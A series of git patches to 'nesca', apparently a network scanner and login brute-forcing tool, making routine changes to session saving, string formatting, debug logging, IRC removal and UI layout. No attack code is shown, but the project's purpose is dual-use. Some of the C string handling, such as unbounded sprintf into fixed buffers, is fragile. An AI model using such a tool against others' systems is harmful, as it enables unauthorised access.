strlen("[SHUFFLE]:"); + + if (strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->shuffle_onoff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; + } else if (strstr(resStr, "[NSTRACK]:") != NULL) { + lex = strstr(resStr, "[NSTRACK]:") + strlen("[NSTRACK]:"); + + if (strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->trackerOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; } setUIText("[PING_TO]:", ui->PingTO, resStr); setUIText("[THREAD_DELAY]:", ui->threadDelayBox, resStr); @@ -3157,8 +3180,8 @@ void RestoreSession() const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); if(tempLex.toInt() > 0) { ui->iptoLine_value->setText(tempLex.simplified()); - ui->iptoLine_value_2->setText(tempLex.simplified()); - ui->iptoLine_value_3->setText(tempLex.simplified()); + ui->iptoLine_value_2->setText(tempLex.simplified()); + ui->iptoLine_value_3->setText(tempLex.simplified()); } } setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 7253897..e61b44b 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -245,72 +245,58 @@ void _SaveBackupToFile() ZeroMemory(saveStr, sizeof(saveStr)); }; - strcpy(saveStr, "[NDBSERVER]:"); - strcat(saveStr, trcSrv); - strcat(saveStr, "\n"); + sprintf(saveStr, "[NDBSERVER]:%s\n", trcSrv); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[NDBSCRIPT]:"); - strcat(saveStr, trcScr); - strcat(saveStr, "\n"); + sprintf(saveStr, "[NDBSCRIPT]:%s\n", trcScr); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[NDBPORT]:"); - strcat(saveStr, trcSrvPortLine); - strcat(saveStr, "\n"); + sprintf(saveStr, "[NDBPORT]:%s\n", trcSrvPortLine); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[PROXY]:"); - strcat(saveStr, trcProxy); - strcat(saveStr, "\n"); + sprintf(saveStr, "[PROXY]:%s\n", trcProxy); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[PROXYPORT]:"); - strcat(saveStr, trcPort); - strcat(saveStr, "\n"); + sprintf(saveStr, "[PROXYPORT]:%s\n", trcPort); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCSERVER]:"); - strcat(saveStr, ircServer); - strcat(saveStr, "\n"); + sprintf(saveStr, "[IRCSERVER]:%s\n", ircServer); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCPORT]:"); - strcat(saveStr, ircPort); - strcat(saveStr, "\n"); + sprintf(saveStr, "[IRCPORT]:%s\n", ircPort); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCPROXY]:"); - strcat(saveStr, ircProxy); - strcat(saveStr, "\n"); + sprintf(saveStr, "[IRCPROXY]:%s\n", ircProxy); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCPROXYPORT]:"); - strcat(saveStr, ircProxyPort); - strcat(saveStr, "\n"); + sprintf(saveStr, "[IRCPROXYPORT]:%s\n", ircProxyPort); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[IRCNICK]:"); - strcat(saveStr, ircNick); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING]:"); - strcat(saveStr, gPingNScan ? "true" : "false"); - strcat(saveStr, "\n"); + sprintf(saveStr, "[IRCNICK]:%s\n", ircNick); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); + sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + sprintf(saveStr, "[SHUFFLE]:%s\n", gShuffle ? "true" : "false"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + sprintf(saveStr, "[NSTRACK]:%s\n", trackerOK ? "true" : "false"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); From b184de7c448d6d57c2d2c3e67bb2791d83dcf1a0 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 12:57:09 +0300 Subject: [PATCH 48/66] Corrupted port-restore-string bug fixed --- nesca_3.cpp | 70 ++++++++--------------------------------------------- nesca_3.h | 5 ++-- nesca_3.ui | 46 +++++++---------------------------- 3 files changed, 21 insertions(+), 100 deletions(-) diff --git a/nesca_3.cpp b/nesca_3.cpp index d1e5f76..8cc906c 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -47,7 +47,6 @@ bool smBit_5 = false; bool smBit_6 = false; bool smBit_7 = false; bool smBit_8 = false; -bool debugFileOK = false; bool privateMsgFlag = false; char inputStr[256] = {0}; @@ -2846,9 +2845,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->startScanButton_3, SIGNAL( clicked() ), this, SLOT( startScanButtonClicked() ) ); connect ( ui->startScanButton_4, SIGNAL( clicked() ), this, SLOT( startScanButtonClickedDNS() ) ); connect ( ui->shuffle_onoff, SIGNAL(toggled(bool)), this, SLOT(ChangeShuffle(bool))); - connect ( ui->trackerOnOff, SIGNAL(toggled(bool)), this, SLOT(ChangeTrackerOK(bool))); -// connect ( ui->pingingOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangePingerOK(bool) ) ); - connect ( ui->debugFileOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangeDebugFileState(bool) ) ); + connect ( ui->trackerOnOff, SIGNAL(toggled(bool)), this, SLOT(ChangeTrackerOK(bool))); connect ( ui->importThreads, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); connect ( ui->threadLine, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); connect ( ui->PingTO, SIGNAL( textChanged(QString) ), this, SLOT( PingTO_ChangeValue(QString) ) ); @@ -2969,7 +2966,7 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { }; strncpy(gPorts, ("-p" + ui->portLine->text()).toLocal8Bit().data(), 65536); - gPorts[ui->lineEditPort->text().size()] = '\0'; + gPorts[ui->lineEditPort->text().length() + 2] = '\0'; } else if(savedTabIndex == 1) { @@ -2979,7 +2976,7 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { strcpy(currentIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); - gPorts[ui->lineEditPort->text().size()] = '\0'; + gPorts[ui->lineEditPort->text().length() + 2] = '\0'; }; strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data()); @@ -3398,19 +3395,9 @@ void nesca_3::ChangePingerOK(bool val) { ui->PingTO->setEnabled(val); gPingNScan = val; - if(val == false) - { - ui->PingTO->setStyleSheet("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;"); - } - else - { - ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); - }; -} -void nesca_3::ChangeDebugFileState(bool val) -{ - debugFileOK = val; + if(val == false) ui->PingTO->setStyleSheet("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;"); + else ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); } void nesca_3::STTTerminate() @@ -3439,38 +3426,6 @@ void nesca_3::STTTerminate() stt->terminate(); } -bool dfLocked = false; -void writeDebugFile(QString str) -{ - while(dfLocked) Sleep(10); - QDate qd; - char b[8] = {0}; - char fn[64] = {0}; - strcpy(fn, "./output_"); - sprintf(b, "%d", qd.currentDate().day()); - strcat(fn, b); - strcat(fn, "_"); - sprintf(b, "%d", qd.currentDate().month()); - strcat(fn, b); - strcat(fn, "_"); - sprintf(b, "%d", qd.currentDate().year()); - strcat(fn, b); - strcat(fn, ".txt"); - - FILE *df = fopen(fn, "a"); - if(df != NULL) - { - dfLocked = true; - fputs(str.toLocal8Bit().data(), df); - fclose(df); - dfLocked = false; - } - else - { - stt->doEmitionRedFoundData("[DEBUG: Cannot open " + QString(fn) + "]"); - }; -} - void nesca_3::startScanButtonClicked() { if(startFlag == false) @@ -3624,8 +3579,7 @@ void nesca_3::appendGreenBAData(QString str) void nesca_3::appendDefaultText(QString str) { - ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>"); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>"); } void nesca_3::appendErrText(QString str) @@ -3639,26 +3593,22 @@ void nesca_3::appendErrText(QString str) stt->doEmitionIPS("0"); ui->startScanButton_3->setText("Start"); stt->terminate(); - }; - if(debugFileOK) writeDebugFile(str + "\n"); + }; } void nesca_3::appendOKText(QString str) { - ui->dataText->append("<span style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "][OK] " + str + "</span>"); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("<span style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "][OK] " + str + "</span>"); } void nesca_3::appendNotifyText(QString str) { - ui->dataText->append("<span style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "][*] " + str + "</span>"); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("<span style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "][*] " + str + "</span>"); } void nesca_3::appendDebugText(QString str) { - ui->dataText->append("<span style=\"color:#0084ff;\">[DEBUG] " + str + "</span>"); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("<span style=\"color:#0084ff;\">[DEBUG] " + str + "</span>"); } diff --git a/nesca_3.h b/nesca_3.h index 9715826..59c8d5c 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -24,7 +24,7 @@ #include "mainResources.h" extern Ui::nesca_3Class *ui; -extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait, +extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, QOSWait, connectedToIRC, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; extern float QoSStep; @@ -69,8 +69,7 @@ protected: void DNSLine_ValueChanged(); void slotChangeCPModeToUTF(); void slotChangeCPModeTo1251(); - void slotShowRedVersion(); - void ChangeDebugFileState(bool val); + void slotShowRedVersion(); void ChangeTopic(); void slotIRCGetTopic(QString str); void slotIRCOfflined(); diff --git a/nesca_3.ui b/nesca_3.ui index 01b2eac..3e11c34 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -176,7 +176,7 @@ <property name="font"> <font> <family>Eurostile</family> - <pointsize>9</pointsize> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -486,7 +486,7 @@ <property name="font"> <font> <family>Eurostile</family> - <pointsize>9</pointsize> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -793,7 +793,7 @@ color: rgb(214, 214, 0);</string> <property name="font"> <font> <family>Eurostile</family> - <pointsize>9</pointsize> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -973,8 +973,8 @@ border-radius: 3px;</string> <property name="geometry"> <rect> <x>30</x> - <y>100</y> - <width>241</width> + <y>120</y> + <width>281</width> <height>17</height> </rect> </property> @@ -990,7 +990,7 @@ border-radius: 3px;</string> <string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string> </property> <property name="text"> - <string>Send results to NescaDatabase</string> + <string>Send results to public NescaDatabase</string> </property> <property name="checked"> <bool>true</bool> @@ -1142,34 +1142,6 @@ border-radius: 3px;</string> <string>Check key</string> </property> </widget> - <widget class="QCheckBox" name="debugFileOnOff"> - <property name="geometry"> - <rect> - <x>30</x> - <y>116</y> - <width>276</width> - <height>17</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - </font> - </property> - <property name="whatsThis"> - <string/> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string> - </property> - <property name="text"> - <string>[DEBUG] Write main output to file "./logs/output.txt"</string> - </property> - <property name="checked"> - <bool>false</bool> - </property> - </widget> <widget class="QCheckBox" name="pingingOnOff"> <property name="geometry"> <rect> @@ -2546,7 +2518,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -3530,7 +3502,7 @@ background-color: #000000;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3666,7 +3638,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> From 96dde371f3f8f00c142bd44f98a62464ea79249b Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 13:10:39 +0300 Subject: [PATCH 49/66] Corrupted ip-restore-string bug fixed --- nesca_startModule.cpp | 35 +++++++---------------------------- 1 file changed, 7 insertions(+), 28 deletions(-) diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index e61b44b..4c8ebcc 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -189,21 +189,7 @@ void _SaveBackupToFile() if(strlen(endStr) > 0) { - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - strcat(saveStr, endStr); - if(gMode == 1) - { - strcat(saveStr, " "); - strcat(saveStr, top_level_domain); - }; - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); + sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n", gMode, endStr, (gMode ? top_level_domain : ""), gThreads, gPorts); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); }; @@ -232,15 +218,7 @@ void _SaveBackupToFile() else stt->doEmitionRedFoundData("[_saver] Cannot open file."); }; - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " RESTORE_IMPORT_SESSION"); - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); + sprintf(saveStr, "[SESSION]:%d RESTORE_IMPORT_SESSION %d %s\n", gMode, gThreads, gPorts); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); }; @@ -804,11 +782,13 @@ inline void progressOutput(long long unsigned int target) { void verboseProgress(long long unsigned int target, const char *ip) { stt->doEmitionIPRANGE(QString(ip)); + strcpy(currentIP, ip); progressOutput(target); } -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { +void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) { stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); + strcpy(currentIP, mask); progressOutput(target); } @@ -2071,9 +2051,8 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { while(cons >= gThreads && globalScanFlag) Sleep(300); if(!globalScanFlag) return 0; - string res = string(mask); - verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); - res += string(top_level_domain); + verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask); + string res = string(mask) + string(top_level_domain); ++indexIP; From a3f06269ff6035e51256d3a495e692267e6e2b73 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 15:52:07 +0300 Subject: [PATCH 50/66] NS-IRC support purged --- 00000036.wav | Bin 12848 -> 0 bytes ActivityDrawerTh_HorNet.o | Bin 0 -> 9216 bytes BasicAuth.o | Bin 0 -> 29208 bytes BruteUtils.o | Bin 0 -> 4656 bytes CheckKey_Th.cpp | 1 - CheckKey_Th.o | Bin 0 -> 23264 bytes CheckProxy_Th.cpp | 149 -- CheckProxy_Th.h | 27 - CheckProxy_Th.o | Bin 0 -> 22968 bytes Connector.o | Bin 0 -> 36920 bytes DrawerTh_GridQoSScanner.o | Bin 0 -> 3480 bytes DrawerTh_HorNet.o | Bin 0 -> 4120 bytes DrawerTh_ME2Scanner.o | Bin 0 -> 12672 bytes DrawerTh_QoSScanner.o | Bin 0 -> 9992 bytes DrawerTh_VoiceScanner.o | Bin 0 -> 10472 bytes FTPAuth.o | Bin 0 -> 17888 bytes IRCPinger_Th.cpp | 30 - IRCPinger_Th.h | 23 - IRCPinger_Th.o | Bin 0 -> 5368 bytes STh.o | Bin 0 -> 14080 bytes Threader.o | Bin 0 -> 30944 bytes Utils.o | Bin 0 -> 2632 bytes WebformWorker.o | Bin 0 -> 54640 bytes base64.o | Bin 0 -> 5800 bytes connector_old.o | Bin 0 -> 62920 bytes externData.h | 4 +- finder.cpp | 129 +- finder.o | Bin 0 -> 186728 bytes irc_nmblinker.cpp | 16 - irc_nmblinker.h | 20 - irc_nmblinker.o | Bin 0 -> 3040 bytes main.cpp | 1 + main.o | Bin 0 -> 9360 bytes moc_ActivityDrawerTh_HorNet.cpp | 141 ++ moc_ActivityDrawerTh_HorNet.o | Bin 0 -> 10168 bytes moc_CheckKey_Th.cpp | 88 ++ moc_CheckKey_Th.o | Bin 0 -> 7136 bytes moc_CheckProxy_Th.cpp | 194 +++ moc_CheckProxy_Th.o | Bin 0 -> 12352 bytes moc_DrawerTh_GridQoSScanner.cpp | 124 ++ moc_DrawerTh_GridQoSScanner.o | Bin 0 -> 8072 bytes moc_DrawerTh_HorNet.cpp | 157 ++ moc_DrawerTh_HorNet.o | Bin 0 -> 8768 bytes moc_DrawerTh_ME2Scanner.cpp | 141 ++ moc_DrawerTh_ME2Scanner.o | Bin 0 -> 8376 bytes moc_DrawerTh_QoSScanner.cpp | 124 ++ moc_DrawerTh_QoSScanner.o | Bin 0 -> 7976 bytes moc_DrawerTh_VoiceScanner.cpp | 158 ++ moc_DrawerTh_VoiceScanner.o | Bin 0 -> 8968 bytes moc_IRCPinger_Th.cpp | 141 ++ moc_IRCPinger_Th.o | Bin 0 -> 9872 bytes moc_STh.cpp | 520 +++++++ moc_STh.o | Bin 0 -> 23384 bytes moc_irc_nmblinker.cpp | 124 ++ moc_irc_nmblinker.o | Bin 0 -> 7816 bytes moc_msgcheckerthread.cpp | 124 ++ moc_msgcheckerthread.o | Bin 0 -> 9584 bytes moc_nesca_3.cpp | 713 +++++++++ moc_nesca_3.o | Bin 0 -> 59376 bytes moc_oIRC_Th.cpp | 330 +++++ moc_oIRC_Th.o | Bin 0 -> 17152 bytes moc_piestat.cpp | 124 ++ moc_piestat.o | Bin 0 -> 7648 bytes moc_progressbardrawer.cpp | 124 ++ moc_progressbardrawer.o | Bin 0 -> 7896 bytes moc_vercheckerthread.cpp | 88 ++ moc_vercheckerthread.o | Bin 0 -> 7280 bytes msgcheckerthread.o | Bin 0 -> 12304 bytes nesca | Bin 0 -> 976834 bytes nesca.pro | 8 - nesca_3.cpp | 957 +----------- nesca_3.h | 47 +- nesca_3.o | Bin 0 -> 755832 bytes nesca_3.ui | 853 ----------- nesca_startModule.cpp | 20 - nesca_startModule.o | Bin 0 -> 165056 bytes oIRC_Th.cpp | 830 ----------- oIRC_Th.h | 47 - oIRC_Th.o | Bin 0 -> 80000 bytes piestat.o | Bin 0 -> 3384 bytes progressbardrawer.o | Bin 0 -> 3032 bytes qrc_nesca_3.cpp | 2473 +++++++++++++++++++++++++++++++ qrc_nesca_3.o | Bin 0 -> 42440 bytes ui_nesca_3.h~ | 1596 ++++++++++++++++++++ vercheckerthread.o | Bin 0 -> 7656 bytes 85 files changed, 7578 insertions(+), 3068 deletions(-) delete mode 100644 00000036.wav create mode 100644 ActivityDrawerTh_HorNet.o create mode 100644 BasicAuth.o create mode 100644 BruteUtils.o create mode 100644 CheckKey_Th.o delete mode 100644 CheckProxy_Th.cpp delete mode 100644 CheckProxy_Th.h create mode 100644 CheckProxy_Th.o create mode 100644 Connector.o create mode 100644 DrawerTh_GridQoSScanner.o create mode 100644 DrawerTh_HorNet.o create mode 100644 DrawerTh_ME2Scanner.o create mode 100644 DrawerTh_QoSScanner.o create mode 100644 DrawerTh_VoiceScanner.o create mode 100644 FTPAuth.o delete mode 100644 IRCPinger_Th.cpp delete mode 100644 IRCPinger_Th.h create mode 100644 IRCPinger_Th.o create mode 100644 STh.o create mode 100644 Threader.o create mode 100644 Utils.o create mode 100644 WebformWorker.o create mode 100644 base64.o create mode 100644 connector_old.o create mode 100644 finder.o delete mode 100644 irc_nmblinker.cpp delete mode 100644 irc_nmblinker.h create mode 100644 irc_nmblinker.o create mode 100644 main.o create mode 100644 moc_ActivityDrawerTh_HorNet.cpp create mode 100644 moc_ActivityDrawerTh_HorNet.o create mode 100644 moc_CheckKey_Th.cpp create mode 100644 moc_CheckKey_Th.o create mode 100644 moc_CheckProxy_Th.cpp create mode 100644 moc_CheckProxy_Th.o create mode 100644 moc_DrawerTh_GridQoSScanner.cpp create mode 100644 moc_DrawerTh_GridQoSScanner.o create mode 100644 moc_DrawerTh_HorNet.cpp create mode 100644 moc_DrawerTh_HorNet.o create mode 100644 moc_DrawerTh_ME2Scanner.cpp create mode 100644 moc_DrawerTh_ME2Scanner.o create mode 100644 moc_DrawerTh_QoSScanner.cpp create mode 100644 moc_DrawerTh_QoSScanner.o create mode 100644 moc_DrawerTh_VoiceScanner.cpp create mode 100644 moc_DrawerTh_VoiceScanner.o create mode 100644 moc_IRCPinger_Th.cpp create mode 100644 moc_IRCPinger_Th.o create mode 100644 moc_STh.cpp create mode 100644 moc_STh.o create mode 100644 moc_irc_nmblinker.cpp create mode 100644 moc_irc_nmblinker.o create mode 100644 moc_msgcheckerthread.cpp create mode 100644 moc_msgcheckerthread.o create mode 100644 moc_nesca_3.cpp create mode 100644 moc_nesca_3.o create mode 100644 moc_oIRC_Th.cpp create mode 100644 moc_oIRC_Th.o create mode 100644 moc_piestat.cpp create mode 100644 moc_piestat.o create mode 100644 moc_progressbardrawer.cpp create mode 100644 moc_progressbardrawer.o create mode 100644 moc_vercheckerthread.cpp create mode 100644 moc_vercheckerthread.o create mode 100644 msgcheckerthread.o create mode 100755 nesca create mode 100644 nesca_3.o create mode 100644 nesca_startModule.o delete mode 100644 oIRC_Th.cpp delete mode 100644 oIRC_Th.h create mode 100644 oIRC_Th.o create mode 100644 piestat.o create mode 100644 progressbardrawer.o create mode 100644 qrc_nesca_3.cpp create mode 100644 qrc_nesca_3.o create mode 100644 ui_nesca_3.h~ create mode 100644 vercheckerthread.o diff --git a/00000036.wav b/00000036.wav deleted file mode 100644 index 84665499728b7af7652ad49eb665c3c88c559954..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12848 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 